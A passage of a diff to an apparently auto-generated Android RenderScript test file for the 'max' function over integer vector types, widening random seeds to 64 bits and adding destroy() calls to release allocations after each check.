     private void verifyResultsMaxChar3Char3Char3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1433,13 +1508,14 @@
     }
 
     private void checkMaxChar4Char4Char4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd72249a2l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd72249a3l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xe04608dcd72249a2l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xe04608dcd72249a3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxChar4Char4Char4(inA, out);
             verifyResultsMaxChar4Char4Char4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxChar4Char4Char4: " + e.toString());
         }
@@ -1448,9 +1524,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxChar4Char4Char4(inA, out);
             verifyResultsMaxChar4Char4Char4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxChar4Char4Char4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxChar4Char4Char4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1517,13 +1596,14 @@
     }
 
     private void checkMaxUcharUcharUchar() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x853a162dl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x853a162el, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x800f9948853a162dl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x800f9948853a162el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUcharUcharUchar(inA, out);
             verifyResultsMaxUcharUcharUchar(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUcharUcharUchar: " + e.toString());
         }
@@ -1532,9 +1612,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUcharUcharUchar(inA, out);
             verifyResultsMaxUcharUcharUchar(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUcharUcharUchar: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUcharUcharUchar(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1595,13 +1678,14 @@
     }
 
     private void checkMaxUchar2Uchar2Uchar2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xb7e9a9dbl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xb7e9a9dcl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xd31d5735b7e9a9dbl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xd31d5735b7e9a9dcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUchar2Uchar2Uchar2(inA, out);
             verifyResultsMaxUchar2Uchar2Uchar2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUchar2Uchar2Uchar2: " + e.toString());
         }
@@ -1610,9 +1694,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUchar2Uchar2Uchar2(inA, out);
             verifyResultsMaxUchar2Uchar2Uchar2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUchar2Uchar2Uchar2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUchar2Uchar2Uchar2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1673,13 +1760,14 @@
     }
 
     private void checkMaxUchar3Uchar3Uchar3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xb9c7ab7cl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xb9c7ab7dl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x27823555b9c7ab7cl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x27823555b9c7ab7dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUchar3Uchar3Uchar3(inA, out);
             verifyResultsMaxUchar3Uchar3Uchar3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUchar3Uchar3Uchar3: " + e.toString());
         }
@@ -1688,9 +1776,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUchar3Uchar3Uchar3(inA, out);
             verifyResultsMaxUchar3Uchar3Uchar3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUchar3Uchar3Uchar3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUchar3Uchar3Uchar3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1751,13 +1842,14 @@
     }
 
     private void checkMaxUchar4Uchar4Uchar4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xbba5ad1dl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xbba5ad1el, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7be71375bba5ad1dl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7be71375bba5ad1el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUchar4Uchar4Uchar4(inA, out);
             verifyResultsMaxUchar4Uchar4Uchar4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUchar4Uchar4Uchar4: " + e.toString());
         }
@@ -1766,9 +1858,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUchar4Uchar4Uchar4(inA, out);
             verifyResultsMaxUchar4Uchar4Uchar4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUchar4Uchar4Uchar4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUchar4Uchar4Uchar4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1835,13 +1930,14 @@
     }
 
     private void checkMaxShortShortShort() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x43b57294l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x43b57295l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x920335e143b57294l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x920335e143b57295l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxShortShortShort(inA, out);
             verifyResultsMaxShortShortShort(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShortShortShort: " + e.toString());
         }
@@ -1850,9 +1946,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxShortShortShort(inA, out);
             verifyResultsMaxShortShortShort(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShortShortShort: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxShortShortShort(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1913,13 +2012,14 @@
     }
 
     private void checkMaxShort2Short2Short2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x56ecb9del, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x56ecb9dfl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x42e9d46b56ecb9del, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x42e9d46b56ecb9dfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxShort2Short2Short2(inA, out);
             verifyResultsMaxShort2Short2Short2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShort2Short2Short2: " + e.toString());
         }
@@ -1928,9 +2028,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxShort2Short2Short2(inA, out);
             verifyResultsMaxShort2Short2Short2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShort2Short2Short2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxShort2Short2Short2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1991,13 +2094,14 @@
     }
 
     private void checkMaxShort3Short3Short3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x58cabb7fl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x58cabb80l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x974eb28b58cabb7fl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x974eb28b58cabb80l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxShort3Short3Short3(inA, out);
             verifyResultsMaxShort3Short3Short3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShort3Short3Short3: " + e.toString());
         }
@@ -2006,9 +2110,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxShort3Short3Short3(inA, out);
             verifyResultsMaxShort3Short3Short3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShort3Short3Short3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxShort3Short3Short3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2069,13 +2176,14 @@
     }
 
     private void checkMaxShort4Short4Short4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x5aa8bd20l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x5aa8bd21l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xebb390ab5aa8bd20l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xebb390ab5aa8bd21l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxShort4Short4Short4(inA, out);
             verifyResultsMaxShort4Short4Short4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShort4Short4Short4: " + e.toString());
         }
@@ -2084,9 +2192,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxShort4Short4Short4(inA, out);
             verifyResultsMaxShort4Short4Short4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxShort4Short4Short4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxShort4Short4Short4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2153,13 +2264,14 @@
     }
 
     private void checkMaxUshortUshortUshort() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xb947704bl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xb947704cl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x8f869c73b947704bl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x8f869c73b947704cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUshortUshortUshort(inA, out);
             verifyResultsMaxUshortUshortUshort(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshortUshortUshort: " + e.toString());
         }
@@ -2168,9 +2280,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUshortUshortUshort(inA, out);
             verifyResultsMaxUshortUshortUshort(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshortUshortUshort: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUshortUshortUshort(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2231,13 +2346,14 @@
     }
 
     private void checkMaxUshort2Ushort2Ushort2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x150b1f95l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x150b1f96l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xbe3c50e6150b1f95l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xbe3c50e6150b1f96l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUshort2Ushort2Ushort2(inA, out);
             verifyResultsMaxUshort2Ushort2Ushort2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshort2Ushort2Ushort2: " + e.toString());
         }
@@ -2246,9 +2362,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUshort2Ushort2Ushort2(inA, out);
             verifyResultsMaxUshort2Ushort2Ushort2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshort2Ushort2Ushort2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUshort2Ushort2Ushort2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2309,13 +2428,14 @@
     }
 
     private void checkMaxUshort3Ushort3Ushort3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x5df0112cl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x5df0112dl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x3e2be9df5df0112cl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x3e2be9df5df0112dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUshort3Ushort3Ushort3(inA, out);
             verifyResultsMaxUshort3Ushort3Ushort3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshort3Ushort3Ushort3: " + e.toString());
         }
@@ -2324,9 +2444,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUshort3Ushort3Ushort3(inA, out);
             verifyResultsMaxUshort3Ushort3Ushort3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshort3Ushort3Ushort3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUshort3Ushort3Ushort3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2387,13 +2510,14 @@
     }
 
     private void checkMaxUshort4Ushort4Ushort4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xa6d502c3l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xa6d502c4l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xbe1b82d8a6d502c3l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xbe1b82d8a6d502c4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUshort4Ushort4Ushort4(inA, out);
             verifyResultsMaxUshort4Ushort4Ushort4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshort4Ushort4Ushort4: " + e.toString());
         }
@@ -2402,9 +2526,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUshort4Ushort4Ushort4(inA, out);
             verifyResultsMaxUshort4Ushort4Ushort4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUshort4Ushort4Ushort4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUshort4Ushort4Ushort4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2471,13 +2598,14 @@
     }
 
     private void checkMaxIntIntInt() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xe43d0fa9l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xe43d0faal, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x773d0d60e43d0fa9l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x773d0d60e43d0faal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxIntIntInt(inA, out);
             verifyResultsMaxIntIntInt(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxIntIntInt: " + e.toString());
         }
@@ -2486,9 +2614,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxIntIntInt(inA, out);
             verifyResultsMaxIntIntInt(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxIntIntInt: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxIntIntInt(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2549,13 +2680,14 @@
     }
 
     private void checkMaxInt2Int2Int2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xbb9dccd7l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xbb9dccd8l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x32815a01bb9dccd7l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x32815a01bb9dccd8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxInt2Int2Int2(inA, out);
             verifyResultsMaxInt2Int2Int2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxInt2Int2Int2: " + e.toString());
         }
@@ -2564,9 +2696,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxInt2Int2Int2(inA, out);
             verifyResultsMaxInt2Int2Int2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxInt2Int2Int2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxInt2Int2Int2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2627,13 +2762,14 @@
     }
 
     private void checkMaxInt3Int3Int3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x867314c0l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x867314c1l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x3f66ddfc867314c0l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x3f66ddfc867314c1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxInt3Int3Int3(inA, out);
             verifyResultsMaxInt3Int3Int3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxInt3Int3Int3: " + e.toString());
         }
@@ -2642,9 +2778,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxInt3Int3Int3(inA, out);
             verifyResultsMaxInt3Int3Int3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxInt3Int3Int3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxInt3Int3Int3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2705,13 +2844,14 @@
     }
 
     private void checkMaxInt4Int4Int4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x51485ca9l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x51485caal, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x4c4c61f751485ca9l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x4c4c61f751485caal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxInt4Int4Int4(inA, out);
             verifyResultsMaxInt4Int4Int4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxInt4Int4Int4: " + e.toString());
         }
@@ -2720,9 +2860,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxInt4Int4Int4(inA, out);
             verifyResultsMaxInt4Int4Int4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxInt4Int4Int4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxInt4Int4Int4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2789,13 +2932,14 @@
     }
 
     private void checkMaxUintUintUint() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x85f73e36l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x85f73e37l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xcd24e58385f73e36l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xcd24e58385f73e37l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUintUintUint(inA, out);
             verifyResultsMaxUintUintUint(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUintUintUint: " + e.toString());
         }
@@ -2804,9 +2948,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUintUintUint(inA, out);
             verifyResultsMaxUintUintUint(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUintUintUint: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUintUintUint(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2867,13 +3014,14 @@
     }
 
     private void checkMaxUint2Uint2Uint2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xe84d6c4l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xe84d6c5l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xbd5747860e84d6c4l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xbd5747860e84d6c5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUint2Uint2Uint2(inA, out);
             verifyResultsMaxUint2Uint2Uint2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUint2Uint2Uint2: " + e.toString());
         }
@@ -2882,9 +3030,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUint2Uint2Uint2(inA, out);
             verifyResultsMaxUint2Uint2Uint2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUint2Uint2Uint2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUint2Uint2Uint2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2945,13 +3096,14 @@
     }
 
     private void checkMaxUint3Uint3Uint3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x6d23e793l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x6d23e794l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xe30bc76f6d23e793l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xe30bc76f6d23e794l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUint3Uint3Uint3(inA, out);
             verifyResultsMaxUint3Uint3Uint3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUint3Uint3Uint3: " + e.toString());
         }
@@ -2960,9 +3112,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUint3Uint3Uint3(inA, out);
             verifyResultsMaxUint3Uint3Uint3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUint3Uint3Uint3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
